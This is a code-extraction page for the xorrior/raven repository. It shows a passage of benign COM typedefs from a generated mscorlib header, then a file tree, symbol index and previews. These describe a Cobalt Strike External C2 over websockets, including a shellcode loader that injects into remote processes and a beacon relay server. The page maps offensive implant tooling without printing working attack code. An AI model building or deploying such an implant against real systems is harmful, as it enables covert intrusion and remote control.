_COM_SMARTPTR_TYPEDEF(_ContextAttribute, __uuidof(_ContextAttribute));
_COM_SMARTPTR_TYPEDEF(_AsyncResult, __uuidof(_AsyncResult));
_COM_SMARTPTR_TYPEDEF(_ChannelServices, __uuidof(_ChannelServices));
_COM_SMARTPTR_TYPEDEF(_ClientChannelSinkStack, __uuidof(_ClientChannelSinkStack));
_COM_SMARTPTR_TYPEDEF(_ServerChannelSinkStack, __uuidof(_ServerChannelSinkStack));
_COM_SMARTPTR_TYPEDEF(_ClientSponsor, __uuidof(_ClientSponsor));
_COM_SMARTPTR_TYPEDEF(_CrossContextDelegate, __uuidof(_CrossContextDelegate));
_COM_SMARTPTR_TYPEDEF(_Context, __uuidof(_Context));
_COM_SMARTPTR_TYPEDEF(IContextProperty, __uuidof(IContextProperty));
_COM_SMARTPTR_TYPEDEF(_ContextProperty, __uuidof(_ContextProperty));
_COM_SMARTPTR_TYPEDEF(_EnterpriseServicesHelper, __uuidof(_EnterpriseServicesHelper));
_COM_SMARTPTR_TYPEDEF(_ChannelDataStore, __uuidof(_ChannelDataStore));
_COM_SMARTPTR_TYPEDEF(_TransportHeaders, __uuidof(_TransportHeaders));
_COM_SMARTPTR_TYPEDEF(_SinkProviderData, __uuidof(_SinkProviderData));
_COM_SMARTPTR_TYPEDEF(_BaseChannelObjectWithProperties, __uuidof(_BaseChannelObjectWithProperties));
_COM_SMARTPTR_TYPEDEF(_BaseChannelSinkWithProperties, __uuidof(_BaseChannelSinkWithProperties));
_COM_SMARTPTR_TYPEDEF(_BaseChannelWithProperties, __uuidof(_BaseChannelWithProperties));
_COM_SMARTPTR_TYPEDEF(_LifetimeServices, __uuidof(_LifetimeServices));
_COM_SMARTPTR_TYPEDEF(_ReturnMessage, __uuidof(_ReturnMessage));
_COM_SMARTPTR_TYPEDEF(_MethodCall, __uuidof(_MethodCall));
_COM_SMARTPTR_TYPEDEF(_ConstructionCall, __uuidof(_ConstructionCall));
_COM_SMARTPTR_TYPEDEF(_MethodResponse, __uuidof(_MethodResponse));
_COM_SMARTPTR_TYPEDEF(_ConstructionResponse, __uuidof(_ConstructionResponse));
_COM_SMARTPTR_TYPEDEF(_InternalMessageWrapper, __uuidof(_InternalMessageWrapper));
_COM_SMARTPTR_TYPEDEF(_MethodCallMessageWrapper, __uuidof(_MethodCallMessageWrapper));
_COM_SMARTPTR_TYPEDEF(_MethodReturnMessageWrapper, __uuidof(_MethodReturnMessageWrapper));
_COM_SMARTPTR_TYPEDEF(_ObjRef, __uuidof(_ObjRef));
_COM_SMARTPTR_TYPEDEF(ITrackingHandler, __uuidof(ITrackingHandler));
_COM_SMARTPTR_TYPEDEF(_OneWayAttribute, __uuidof(_OneWayAttribute));
_COM_SMARTPTR_TYPEDEF(_ProxyAttribute, __uuidof(_ProxyAttribute));
_COM_SMARTPTR_TYPEDEF(_RealProxy, __uuidof(_RealProxy));
_COM_SMARTPTR_TYPEDEF(_SoapAttribute, __uuidof(_SoapAttribute));
_COM_SMARTPTR_TYPEDEF(_SoapTypeAttribute, __uuidof(_SoapTypeAttribute));
_COM_SMARTPTR_TYPEDEF(_SoapMethodAttribute, __uuidof(_SoapMethodAttribute));
_COM_SMARTPTR_TYPEDEF(_SoapFieldAttribute, __uuidof(_SoapFieldAttribute));
_COM_SMARTPTR_TYPEDEF(_SoapParameterAttribute, __uuidof(_SoapParameterAttribute));
_COM_SMARTPTR_TYPEDEF(_RemotingConfiguration, __uuidof(_RemotingConfiguration));
_COM_SMARTPTR_TYPEDEF(_TypeEntry, __uuidof(_TypeEntry));
_COM_SMARTPTR_TYPEDEF(_ActivatedClientTypeEntry, __uuidof(_ActivatedClientTypeEntry));
_COM_SMARTPTR_TYPEDEF(_ActivatedServiceTypeEntry, __uuidof(_ActivatedServiceTypeEntry));
_COM_SMARTPTR_TYPEDEF(_WellKnownClientTypeEntry, __uuidof(_WellKnownClientTypeEntry));
_COM_SMARTPTR_TYPEDEF(_WellKnownServiceTypeEntry, __uuidof(_WellKnownServiceTypeEntry));
_COM_SMARTPTR_TYPEDEF(_RemotingException, __uuidof(_RemotingException));
_COM_SMARTPTR_TYPEDEF(_ServerException, __uuidof(_ServerException));
_COM_SMARTPTR_TYPEDEF(_RemotingTimeoutException, __uuidof(_RemotingTimeoutException));
_COM_SMARTPTR_TYPEDEF(_RemotingServices, __uuidof(_RemotingServices));
_COM_SMARTPTR_TYPEDEF(_InternalRemotingServices, __uuidof(_InternalRemotingServices));
_COM_SMARTPTR_TYPEDEF(_MessageSurrogateFilter, __uuidof(_MessageSurrogateFilter));
_COM_SMARTPTR_TYPEDEF(_RemotingSurrogateSelector, __uuidof(_RemotingSurrogateSelector));
_COM_SMARTPTR_TYPEDEF(_SoapServices, __uuidof(_SoapServices));
_COM_SMARTPTR_TYPEDEF(_SoapDateTime, __uuidof(_SoapDateTime));
_COM_SMARTPTR_TYPEDEF(_SoapDuration, __uuidof(_SoapDuration));
_COM_SMARTPTR_TYPEDEF(_SoapTime, __uuidof(_SoapTime));
_COM_SMARTPTR_TYPEDEF(_SoapDate, __uuidof(_SoapDate));
_COM_SMARTPTR_TYPEDEF(_SoapYearMonth, __uuidof(_SoapYearMonth));
_COM_SMARTPTR_TYPEDEF(_SoapYear, __uuidof(_SoapYear));
_COM_SMARTPTR_TYPEDEF(_SoapMonthDay, __uuidof(_SoapMonthDay));
_COM_SMARTPTR_TYPEDEF(_SoapDay, __uuidof(_SoapDay));
_COM_SMARTPTR_TYPEDEF(_SoapMonth, __uuidof(_SoapMonth));
_COM_SMARTPTR_TYPEDEF(_SoapHexBinary, __uuidof(_SoapHexBinary));
_COM_SMARTPTR_TYPEDEF(_SoapBase64Binary, __uuidof(_SoapBase64Binary));
_COM_SMARTPTR_TYPEDEF(_SoapInteger, __uuidof(_SoapInteger));
_COM_SMARTPTR_TYPEDEF(_SoapPositiveInteger, __uuidof(_SoapPositiveInteger));
_COM_SMARTPTR_TYPEDEF(_SoapNonPositiveInteger, __uuidof(_SoapNonPositiveInteger));
_COM_SMARTPTR_TYPEDEF(_SoapNonNegativeInteger, __uuidof(_SoapNonNegativeInteger));
_COM_SMARTPTR_TYPEDEF(_SoapNegativeInteger, __uuidof(_SoapNegativeInteger));
_COM_SMARTPTR_TYPEDEF(_SoapAnyUri, __uuidof(_SoapAnyUri));
_COM_SMARTPTR_TYPEDEF(_SoapQName, __uuidof(_SoapQName));
_COM_SMARTPTR_TYPEDEF(_SoapNotation, __uuidof(_SoapNotation));
_COM_SMARTPTR_TYPEDEF(_SoapNormalizedString, __uuidof(_SoapNormalizedString));
_COM_SMARTPTR_TYPEDEF(_SoapToken, __uuidof(_SoapToken));
_COM_SMARTPTR_TYPEDEF(_SoapLanguage, __uuidof(_SoapLanguage));
_COM_SMARTPTR_TYPEDEF(_SoapName, __uuidof(_SoapName));
_COM_SMARTPTR_TYPEDEF(_SoapIdrefs, __uuidof(_SoapIdrefs));
_COM_SMARTPTR_TYPEDEF(_SoapEntities, __uuidof(_SoapEntities));
_COM_SMARTPTR_TYPEDEF(_SoapNmtoken, __uuidof(_SoapNmtoken));
_COM_SMARTPTR_TYPEDEF(_SoapNmtokens, __uuidof(_SoapNmtokens));
_COM_SMARTPTR_TYPEDEF(_SoapNcName, __uuidof(_SoapNcName));
_COM_SMARTPTR_TYPEDEF(_SoapId, __uuidof(_SoapId));
_COM_SMARTPTR_TYPEDEF(_SoapIdref, __uuidof(_SoapIdref));
_COM_SMARTPTR_TYPEDEF(_SoapEntity, __uuidof(_SoapEntity));
_COM_SMARTPTR_TYPEDEF(_SynchronizationAttribute, __uuidof(_SynchronizationAttribute));
_COM_SMARTPTR_TYPEDEF(_TrackingServices, __uuidof(_TrackingServices));
_COM_SMARTPTR_TYPEDEF(_UrlAttribute, __uuidof(_UrlAttribute));
_COM_SMARTPTR_TYPEDEF(_Header, __uuidof(_Header));
_COM_SMARTPTR_TYPEDEF(_HeaderHandler, __uuidof(_HeaderHandler));
_COM_SMARTPTR_TYPEDEF(IRemotingFormatter, __uuidof(IRemotingFormatter));
_COM_SMARTPTR_TYPEDEF(_CallContext, __uuidof(_CallContext));
_COM_SMARTPTR_TYPEDEF(_LogicalCallContext, __uuidof(_LogicalCallContext));
_COM_SMARTPTR_TYPEDEF(_IsolatedStorage, __uuidof(_IsolatedStorage));
_COM_SMARTPTR_TYPEDEF(_IsolatedStorageFileStream, __uuidof(_IsolatedStorageFileStream));
_COM_SMARTPTR_TYPEDEF(_IsolatedStorageException, __uuidof(_IsolatedStorageException));
_COM_SMARTPTR_TYPEDEF(_IsolatedStorageFile, __uuidof(_IsolatedStorageFile));
_COM_SMARTPTR_TYPEDEF(_InternalRM, __uuidof(_InternalRM));
_COM_SMARTPTR_TYPEDEF(_InternalST, __uuidof(_InternalST));
_COM_SMARTPTR_TYPEDEF(_SoapMessage, __uuidof(_SoapMessage));
_COM_SMARTPTR_TYPEDEF(_SoapFault, __uuidof(_SoapFault));
_COM_SMARTPTR_TYPEDEF(_ServerFault, __uuidof(_ServerFault));
_COM_SMARTPTR_TYPEDEF(_BinaryFormatter, __uuidof(_BinaryFormatter));
_COM_SMARTPTR_TYPEDEF(_DynamicILInfo, __uuidof(_DynamicILInfo));
_COM_SMARTPTR_TYPEDEF(_DynamicMethod, __uuidof(_DynamicMethod));
_COM_SMARTPTR_TYPEDEF(_OpCodes, __uuidof(_OpCodes));
_COM_SMARTPTR_TYPEDEF(_GenericTypeParameterBuilder, __uuidof(_GenericTypeParameterBuilder));
_COM_SMARTPTR_TYPEDEF(_UnmanagedMarshal, __uuidof(_UnmanagedMarshal));
_COM_SMARTPTR_TYPEDEF(_KeySizes, __uuidof(_KeySizes));
_COM_SMARTPTR_TYPEDEF(_CryptographicException, __uuidof(_CryptographicException));
_COM_SMARTPTR_TYPEDEF(_CryptographicUnexpectedOperationException, __uuidof(_CryptographicUnexpectedOperationException));
_COM_SMARTPTR_TYPEDEF(_RandomNumberGenerator, __uuidof(_RandomNumberGenerator));
_COM_SMARTPTR_TYPEDEF(_RNGCryptoServiceProvider, __uuidof(_RNGCryptoServiceProvider));
_COM_SMARTPTR_TYPEDEF(_SymmetricAlgorithm, __uuidof(_SymmetricAlgorithm));
_COM_SMARTPTR_TYPEDEF(_AsymmetricAlgorithm, __uuidof(_AsymmetricAlgorithm));
_COM_SMARTPTR_TYPEDEF(_AsymmetricKeyExchangeDeformatter, __uuidof(_AsymmetricKeyExchangeDeformatter));
_COM_SMARTPTR_TYPEDEF(_AsymmetricKeyExchangeFormatter, __uuidof(_AsymmetricKeyExchangeFormatter));
_COM_SMARTPTR_TYPEDEF(_AsymmetricSignatureDeformatter, __uuidof(_AsymmetricSignatureDeformatter));
_COM_SMARTPTR_TYPEDEF(_AsymmetricSignatureFormatter, __uuidof(_AsymmetricSignatureFormatter));
_COM_SMARTPTR_TYPEDEF(_ToBase64Transform, __uuidof(_ToBase64Transform));
_COM_SMARTPTR_TYPEDEF(_FromBase64Transform, __uuidof(_FromBase64Transform));
_COM_SMARTPTR_TYPEDEF(_CryptoAPITransform, __uuidof(_CryptoAPITransform));
_COM_SMARTPTR_TYPEDEF(_CspParameters, __uuidof(_CspParameters));
_COM_SMARTPTR_TYPEDEF(_CryptoConfig, __uuidof(_CryptoConfig));
_COM_SMARTPTR_TYPEDEF(_CryptoStream, __uuidof(_CryptoStream));
_COM_SM
Download .txt
gitextract_6uyg184h/

├── .gitignore
├── LICENSE
├── README.md
├── client/
│   └── netRaven/
│       ├── FodyWeavers.xml
│       ├── New-RavenHeader.ps1
│       ├── New-RavenPayload.ps1
│       ├── Raven/
│       │   ├── .gitignore
│       │   ├── Raven.cpp
│       │   ├── Raven.vcxproj
│       │   ├── Raven.vcxproj.filters
│       │   ├── ReadMe.txt
│       │   ├── clr.cpp
│       │   ├── clr.hpp
│       │   ├── dllmain.cpp
│       │   ├── mscorlib.tlh
│       │   ├── netRaven_dll.hpp
│       │   ├── stdafx.cpp
│       │   ├── stdafx.h
│       │   ├── targetver.h
│       │   └── utils.hpp
│       ├── netRaven/
│       │   ├── Core.cs
│       │   ├── Crypto.cs
│       │   ├── Loader.cs
│       │   ├── Properties/
│       │   │   ├── AssemblyInfo.cs
│       │   │   ├── Resources.Designer.cs
│       │   │   └── Resources.resx
│       │   ├── TaskHandler.cs
│       │   ├── netRaven.csproj
│       │   └── packages.config
│       ├── netRaven.sln
│       └── ravenDebug/
│           ├── Program.cs
│           ├── Properties/
│           │   └── AssemblyInfo.cs
│           ├── app.config
│           ├── obj/
│           │   └── Debug/
│           │       ├── ravenDebug.csproj.CoreCompileInputs.cache
│           │       └── ravenDebug.csprojAssemblyReference.cache
│           └── ravenDebug.csproj
├── externalc2.cna
└── server/
    ├── handler.go
    ├── index.html
    ├── main.go
    ├── setup.sh
    └── userhandler.go
Download .txt
SYMBOL INDEX (57 symbols across 12 files)

FILE: client/netRaven/Raven/clr.cpp
  type clr (line 30) | namespace clr {

FILE: client/netRaven/Raven/clr.hpp
  type clr (line 39) | namespace clr {
    class ClrClass (line 45) | class ClrClass {
      method variant_t (line 54) | variant_t invoke_method(const std::wstring& name, Args&&... args) {
    class ClrAssembly (line 74) | class ClrAssembly {
      method variant_t (line 84) | variant_t invoke_static(const std::wstring& clsName, const std::wstr...
    class ClrDomain (line 109) | class ClrDomain {

FILE: client/netRaven/Raven/dllmain.cpp
  function LoadAndRun (line 6) | void LoadAndRun(LPVOID lpParam)
  function BOOL (line 21) | BOOL APIENTRY DllMain( HMODULE hModule,

FILE: client/netRaven/netRaven/Core.cs
  class Core (line 12) | public class Core
    method Run (line 25) | public static void Run(string throwaway)
    method RavenUpgrade (line 99) | public static void RavenUpgrade()
    method on_receive (line 127) | private static void on_receive(object sender, MessageReceivedEventArgs e)
    method on_error (line 173) | private static void on_error(object sender, SuperSocket.ClientEngine.E...
    method on_open (line 180) | private static void on_open(object sender, EventArgs e)
    method on_closed (line 185) | private static void on_closed(object sender, EventArgs e)
    method ConnectToBeacon (line 190) | private static void ConnectToBeacon()
    method readFrame (line 207) | private static int readFrame(NamedPipeClientStream pipe, ref byte[] bu...
    method writeFrame (line 227) | private static void writeFrame(NamedPipeClientStream pipe, byte[] buffer)
  class config (line 234) | public class config
    method config (line 241) | public config()
  type MsgType (line 250) | public enum MsgType
  class RavenMessage (line 258) | public class RavenMessage

FILE: client/netRaven/netRaven/Crypto.cs
  class Crypto (line 8) | public class Crypto

FILE: client/netRaven/netRaven/Loader.cs
  class Loader (line 9) | public class Loader
    method Loader (line 11) | public Loader(byte[] payload, int processId = 0)
    method LoadInCurrentProcess (line 17) | public void LoadInCurrentProcess()
    method VirtualProtect (line 41) | [DllImport("kernel32.dll")]
    method LoadInRemoteProcess (line 47) | public void LoadInRemoteProcess()

FILE: client/netRaven/netRaven/Properties/Resources.Designer.cs
  class Resources (line 22) | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resource...
    method Resources (line 31) | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Mic...

FILE: client/netRaven/netRaven/TaskHandler.cs
  class TaskHandler (line 10) | public class TaskHandler
    type TaskType (line 12) | public enum TaskType
    method handleTask (line 23) | public static void handleTask(TaskType t, byte[] taskData)

FILE: client/netRaven/ravenDebug/Program.cs
  class Program (line 9) | class Program
    method Main (line 11) | static void Main(string[] args)

FILE: server/handler.go
  constant stageMsg (line 21) | stageMsg  = 1
  constant beaconMsg (line 22) | beaconMsg = 2
  constant taskMsg (line 23) | taskMsg   = 3
  constant keyMsg (line 24) | keyMsg    = 4
  function createFrame (line 40) | func createFrame(payload []byte) []byte {
  function readFrame (line 52) | func readFrame(conn net.Conn) []byte {
  function socketHandler (line 94) | func socketHandler(w http.ResponseWriter, r *http.Request) {
  function HandleTaskResponse (line 108) | func HandleTaskResponse(tr string) bool {
  function HandleStageRequest (line 121) | func HandleStageRequest(sr string) ([]byte, bool) {
  function manageClient (line 157) | func manageClient(c *websocket.Conn) {

FILE: server/main.go
  function serveDefaultPage (line 26) | func serveDefaultPage(w http.ResponseWriter, r *http.Request) {
  function ravenlog (line 42) | func ravenlog(msg string) {
  function main (line 48) | func main() {

FILE: server/userhandler.go
  constant stringType (line 14) | stringType = 0
  constant intType (line 15) | intType    = 1
  constant fileType (line 16) | fileType   = 2
  type Message (line 19) | type Message struct
  type AuthMessage (line 25) | type AuthMessage struct
  function startUIServer (line 30) | func startUIServer(clearDB bool) {
  function login (line 55) | func login(clientID string, username string, password string) {
  function setupDatabase (line 59) | func setupDatabase() {
Condensed preview — 42 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (696K chars).
[
  {
    "path": ".gitignore",
    "chars": 270,
    "preview": "# Prerequisites\n*.d\n\n# Compiled Object files\n*.slo\n*.lo\n*.o\n*.obj\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Compiled Dynamic"
  },
  {
    "path": "LICENSE",
    "chars": 1518,
    "preview": "BSD 3-Clause License\n\nCopyright (c) 2019, Chris Ross\nAll rights reserved.\n\nRedistribution and use in source and binary f"
  },
  {
    "path": "README.md",
    "chars": 666,
    "preview": "# Raven\nCobaltStrike External C2 for Websockets\n* Additional info: https://www.cobaltstrike.com/help-externalc2\n# Server"
  },
  {
    "path": "client/netRaven/FodyWeavers.xml",
    "chars": 72,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<Weavers>\n\t<Costura/>\n</Weavers>"
  },
  {
    "path": "client/netRaven/New-RavenHeader.ps1",
    "chars": 1078,
    "preview": "function New-RavenHeader\n{\n    <#\n    .SYNOPSIS Generates a new header file in the post build event for the slack-clien"
  },
  {
    "path": "client/netRaven/New-RavenPayload.ps1",
    "chars": 5602,
    "preview": "function New-RavenPayload {\n    <#\n    .SYNOPSIS\n    This function is used to generate a .resx file for the clients conf"
  },
  {
    "path": "client/netRaven/Raven/.gitignore",
    "chars": 3422,
    "preview": "# Binaries for programs and plugins\n*.exe\n*.exe~\n*.dll\n*.so\n*.dylib\n\n# Test binary, build with `go test -c`\n*.test\n\n# Ou"
  },
  {
    "path": "client/netRaven/Raven/Raven.cpp",
    "chars": 97,
    "preview": "// Raven.cpp : Defines the exported functions for the DLL application.\n//\n\n#include \"stdafx.h\"\n\n\n"
  },
  {
    "path": "client/netRaven/Raven/Raven.vcxproj",
    "chars": 8757,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"14.0\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "client/netRaven/Raven/Raven.vcxproj.filters",
    "chars": 1745,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
  },
  {
    "path": "client/netRaven/Raven/ReadMe.txt",
    "chars": 2106,
    "preview": "========================================================================\n    DYNAMIC LINK LIBRARY : Raven Project Overvi"
  },
  {
    "path": "client/netRaven/Raven/clr.cpp",
    "chars": 8049,
    "preview": "#include \"clr.hpp\"\n#include \"utils.hpp\"\n#include <iostream>\n/*\nMIT License\n\nCopyright (c) 2017 Aaron\n\nPermission is here"
  },
  {
    "path": "client/netRaven/Raven/clr.hpp",
    "chars": 5094,
    "preview": "#pragma once\n/*\nMIT License\n\nCopyright (c) 2017 Aaron\n\nPermission is hereby granted, free of charge, to any person obtai"
  },
  {
    "path": "client/netRaven/Raven/dllmain.cpp",
    "chars": 810,
    "preview": "// dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n#include \"clr.hpp\"\n#include \"netRa"
  },
  {
    "path": "client/netRaven/Raven/mscorlib.tlh",
    "chars": 578332,
    "preview": "// Created by Microsoft (R) C/C++ Compiler Version 14.00.24215.1 (b77ecd61).\n//\n// c:\\users\\dso\\desktop\\remoterecon\\nat"
  },
  {
    "path": "client/netRaven/Raven/stdafx.cpp",
    "chars": 284,
    "preview": "// stdafx.cpp : source file that includes just the standard includes\n// Raven.pch will be the pre-compiled header\n// std"
  },
  {
    "path": "client/netRaven/Raven/stdafx.h",
    "chars": 403,
    "preview": "// stdafx.h : include file for standard system include files,\n// or project specific include files that are used frequen"
  },
  {
    "path": "client/netRaven/Raven/targetver.h",
    "chars": 306,
    "preview": "#pragma once\n\n// Including SDKDDKVer.h defines the highest available Windows platform.\n\n// If you wish to build your app"
  },
  {
    "path": "client/netRaven/Raven/utils.hpp",
    "chars": 1615,
    "preview": "#pragma once\n/*\nMIT License\n\nCopyright (c) 2017 Aaron\n\nPermission is hereby granted, free of charge, to any person obtai"
  },
  {
    "path": "client/netRaven/netRaven/Core.cs",
    "chars": 8325,
    "preview": "using System;\nusing System.Text;\nusing System.IO.Pipes;\nusing System.IO;\nusing System.Threading;\nusing WebSocket4Net;\nu"
  },
  {
    "path": "client/netRaven/netRaven/Crypto.cs",
    "chars": 205,
    "preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nnamespace netRaven\n{\n    public "
  },
  {
    "path": "client/netRaven/netRaven/Loader.cs",
    "chars": 1668,
    "preview": "using System;\nusing System.Reflection;\nusing System.Reflection.Emit;\nusing System.Runtime.InteropServices;\nusing System"
  },
  {
    "path": "client/netRaven/netRaven/Properties/AssemblyInfo.cs",
    "chars": 1389,
    "preview": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Infor"
  },
  {
    "path": "client/netRaven/netRaven/Properties/Resources.Designer.cs",
    "chars": 2779,
    "preview": "//------------------------------------------------------------------------------\n// <auto-generated>\n//     This code w"
  },
  {
    "path": "client/netRaven/netRaven/Properties/Resources.resx",
    "chars": 6166,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The prim"
  },
  {
    "path": "client/netRaven/netRaven/TaskHandler.cs",
    "chars": 1130,
    "preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.IO;\nusing System.Run"
  },
  {
    "path": "client/netRaven/netRaven/netRaven.csproj",
    "chars": 6677,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "client/netRaven/netRaven/packages.config",
    "chars": 391,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"3.1.0\" targetFramework=\"net35\" "
  },
  {
    "path": "client/netRaven/netRaven.sln",
    "chars": 3975,
    "preview": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 14\nVisualStudioVersion = 14.0.25420.1\nMini"
  },
  {
    "path": "client/netRaven/ravenDebug/Program.cs",
    "chars": 245,
    "preview": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing netRaven;\n\nnamespace ravenD"
  },
  {
    "path": "client/netRaven/ravenDebug/Properties/AssemblyInfo.cs",
    "chars": 1393,
    "preview": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Infor"
  },
  {
    "path": "client/netRaven/ravenDebug/app.config",
    "chars": 158,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n<startup><supportedRuntime version=\"v4.0\" sku=\".NETFramework,Vers"
  },
  {
    "path": "client/netRaven/ravenDebug/obj/Debug/ravenDebug.csproj.CoreCompileInputs.cache",
    "chars": 41,
    "preview": "ca1bc1cc4e3a79ab6c5a0649659501f83f9f59bb\n"
  },
  {
    "path": "client/netRaven/ravenDebug/ravenDebug.csproj",
    "chars": 2571,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.micros"
  },
  {
    "path": "externalc2.cna",
    "chars": 125,
    "preview": "# start the External C2 server and bind to 0.0.0.0:51002\n# Modify the port as you see fit\nexternalc2_start(\"0.0.0.0\", 51"
  },
  {
    "path": "server/handler.go",
    "chars": 5331,
    "preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\""
  },
  {
    "path": "server/index.html",
    "chars": 612,
    "preview": "<html>\n  <head>\n    <title>Sample \"Hello, World\" Application</title>\n  </head>\n  <body bgcolor=white>\n\n    <table border"
  },
  {
    "path": "server/main.go",
    "chars": 2483,
    "preview": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\n\t\"github.com/kabukky/httpscerts\"\n)\n\n// Author: @xorrior\n"
  },
  {
    "path": "server/setup.sh",
    "chars": 351,
    "preview": "#!/bin/bash\n\nif (( $EUID != 0 )); then\n    echo \"Please run this with sudo or as root\"\n    exit\nfi\n\napt-get install gola"
  },
  {
    "path": "server/userhandler.go",
    "chars": 1973,
    "preview": "package main\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/graarh/golang-socketio\"\n\t\"github.com/graarh/gol"
  }
]

// ... and 2 more files (download for full content)

About this extraction

This page contains the full source code of the xorrior/raven GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 42 files (652.6 KB), approximately 200.6k tokens, and a symbol index with 57 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!